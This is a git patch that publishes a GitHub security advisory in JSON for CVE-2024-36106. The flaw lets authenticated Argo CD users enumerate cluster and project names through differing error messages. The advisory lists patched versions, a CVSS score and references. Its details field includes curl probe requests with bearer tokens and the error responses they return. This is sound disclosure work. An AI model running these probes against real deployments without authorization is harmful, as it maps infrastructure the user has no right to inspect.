From df71f67d7bbbb8454a23f1df2333ff4ca2b9c086 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 6 Jun 2024 19:06:18 +0000 Subject: [PATCH] Publish GHSA-3cqf-953p-h5cp --- .../GHSA-3cqf-953p-h5cp.json | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json diff --git a/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json b/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json new file mode 100644 index 00000000000..7d0bce902cc --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json @@ -0,0 +1,103 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3cqf-953p-h5cp", + "modified": "2024-06-06T19:04:54Z", + "published": "2024-06-06T19:04:54Z", + "aliases": [ + "CVE-2024-36106" + ], + "summary": "Argo-cd authenticated users can enumerate clusters by name", + "details": "### Impact\nIt’s possible for authenticated users to enumerate clusters by name by inspecting error messages:\n\n```\n$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H \"Authorization: \nBearer $token\"\n{\"error\":\"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z\",\"code\":7,\"message\":\"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z\"}⏎ \n \n$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H \"Authorizati\non: Bearer $token\"\n{\"error\":\"permission denied\",\"code\":7,\"message\":\"permission denied\"}\n```\n\nIt’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.\n```\ncurl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H \"Authorization: Bearer $token\"\n{\"error\":\"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z\",\"code\":7,\"message\":\"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z\"}\n\ncurl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H \"Authorization: Bearer $token\"\n{\"error\":\"permission denied\",\"code\":7,\"message\":\"permission denied\"}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.3\nv2.10.12\nv2.9.17\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\nCredits\nThis vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/argoproj/argo-cd" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.11.0" + }, + { + "fixed": "2.9.17" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/argoproj/argo-cd" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.10.0" + }, + { + "fixed": "2.10.12" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/argoproj/argo-cd" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.11.0" + }, + { + "fixed": "2.11.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3cqf-953p-h5cp" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36106" + }, + { + "type": "WEB", + "url": "https://github.com/argoproj/argo-cd/commit/c2647055c261a550e5da075793260f6524e65ad9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/argoproj/argo-cd" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-209" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-06-06T19:04:54Z", + "nvd_published_at": "2024-06-06T15:15:45Z" + } +} \ No newline at end of file